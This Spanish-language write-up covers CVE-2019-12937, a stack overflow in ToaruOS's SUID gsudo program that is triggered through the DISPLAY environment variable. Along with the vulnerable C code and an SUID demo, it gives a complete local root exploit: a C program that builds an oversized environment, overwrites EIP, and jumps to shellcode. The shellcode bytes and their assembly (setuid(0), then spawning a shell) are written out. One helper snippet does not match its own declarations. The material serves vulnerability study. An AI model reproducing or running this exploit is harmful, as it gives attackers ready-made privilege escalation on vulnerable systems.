
Exploit de prueba de concepto para CVE-2019-12937: un desbordamiento de búfer de pila en gsudo de ToaruOS que permite escalada de privilegios local a root mediante una variable de entorno DISPLAY manipulada y shellcode.
ToaruOS es un sistema operativo de código abierto escrito en C, desarrollado como un proyecto de hobby por un estudiante de informática de la Universidad de Illinois. ToaruOS funciona en arquitecturas POSIX y x86. Sus principales características incluyen soporte para procesos e hilos, binarios ELF, módulos cargables en tiempo de ejecución, tuberías (pipes) y varios tipos de terminales (TTY), sistema de archivos virtual, soporte para EXT2, semáforos, etc.
Existe una vulnerabilidad de desbordamiento de búfer en el archivo apps/gsudo.c de gsudo en ToaruOS hasta la versión 1.10.9. Un atacante puede explotar esta vulnerabilidad mediante la variable de entorno DISPLAY para elevar sus privilegios a root.
Enlace al proyecto ToaruOS 1.10.9
Copie el archivo poc.c al sistema ToaruOS y, en el directorio de copia, ejecute:
gcc -o poc poc.c
./poc
En la función pex_connect se utiliza sprintf para concatenar cadenas, pero no se verifica la longitud del parámetro target, lo que provoca un desbordamiento de pila cuando target es demasiado largo.
FILE * pex_connect(char * target) {
char tmp[100];
sprintf(tmp, "/dev/pex/%s", target);
FILE * out = fopen(tmp, "r+");
if (out) {
setbuf(out, NULL);
}
return out;
}
Aquí el parámetro target es el valor de la variable de entorno DISPLAY.
yutani_t * yutani_init(void) {
char * server_name = getenv("DISPLAY");
if (!server_name) {
server_name = "compositor";
}
FILE * c = pex_connect(server_name);
if (!c) {
return NULL; /* Connection failed. */
}
......
......
}
El programa gsudo llama a la función yutani_init. gsudo es un programa con privilegios SUID, por lo que se ejecuta con permisos de root, lo que permite explotar el desbordamiento para escalar privilegios.
int main(int argc, char ** argv) {
if (argc < 2) {
return 1;
}
yctx = yutani_init();
....
....
}
Los programas SUID establecen permisos s y t para que un usuario normal pueda ejecutar temporalmente el programa con los permisos del propietario.
A continuación se prueba el proceso de ejecución de un programa SUID.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void main()
{
int res;
res = setuid(0);
printf("%d\n",res);
system("/bin/sh");
}
La función setuid se utiliza para establecer la identidad del usuario actual. Cuando el parámetro es 0, establece el proceso actual como root. Después de llamar a setuid, se ejecuta un shell y se observa el usuario actual.
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ gcc -o setuid setuid.c
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
-1
$ whoami
akashic
$ exit
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chown root ./setuid
[sudo] password for akashic:
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chmod u+s ./setuid
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
0
# whoami
root
# exit
En ToaruOS, después de que el sistema operativo haya arrancado, todos los programas se cargan mediante fork y exec_elf, y los permisos del programa son los del proceso padre. Cuando un programa tiene permiso setuid, se establecen los permisos del proceso actual como los del propietario del archivo.
El desbordamiento ocurre en un programa con privilegios SUID, por lo que se puede usar para escalar privilegios mediante un desbordamiento de pila.
ToaruOS no cuenta con protecciones como ASLR (aleatoriedad de pila), aleatoriedad de heap, o pila no ejecutable, lo que hace que la explotación sea bastante sencilla. Sin embargo, tampoco tiene herramientas como GDB, por lo que requiere algo de esfuerzo.
Mediante el desbordamiento de pila se controla eip para que apunte a la dirección de nuestro payload de escalada de privilegios. La pila es ejecutable y la dirección de la pila es fija. Colocamos el payload en la pila mediante la variable environ. Las direcciones de argv y environ se imprimen directamente.
#include <stdio.h>
extern char **environ;
void main(int argc, char *argv[])
{
printf("argv:%x\t\t\n",argv);
printf("environ:%x\t\n",env);
return 0;
}
Resultado:
argv: 3f00c00c
environ: 3f022010
Se establece el valor de la variable de entorno, se controla eip para que apunte entre argv y environ. La dirección de eip no debe contener el carácter \x00. Se evita esto rellenando con instrucciones NOP.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define EIP "\xb0\xb0\x01\x3f"
#define EIP_DISTANCE 25U
char shellcode[] = {
0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00
};
unsigned int shellcode_length = 57;
int main(void)
{
char payload[65536];
char vector[8192] = "DISPLAY=Akashic";
char * const arg[3] = { "/bin/gsudo", "meh", NULL };
char * const env[3] = { payload, vector, NULL };
memset(payload, 'A', sizeof(payload) - shellcode_length - 1);
payload[sizeof(payload) - shellcode_length - 1] = 0;
strcat(payload, shellcode);
for (unsigned int i = 0; i < EIP_DISTANCE; i++)
strcat(vector, EIP);
execve("/bin/gsudo", arg, env);
perror("execve()");
exit(EXIT_FAILURE);
}
En el payload, primero se ejecuta setuid(0) para establecer los permisos del proceso actual, luego se ejecuta system("/bin/shh") para obtener un shell. ToaruOS llama a las funciones del sistema mediante int 0x7f. Los números de llamada del sistema están en syscall_nums.h; setuid corresponde a 24 y system a 7.
xor eax, eax
add al, 24
xor ebx, ebx
int 0x7f
jmp short end
start:
pop ebx
xor eax, eax
mov [ebx+7], al
mov [ebx+8], ebx
mov [ebx+12], eax
add al, 7
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 0x7f
xor eax, eax
int 0x7f
end:
call start
db "/bin/shh"
db "XXXXXXXX"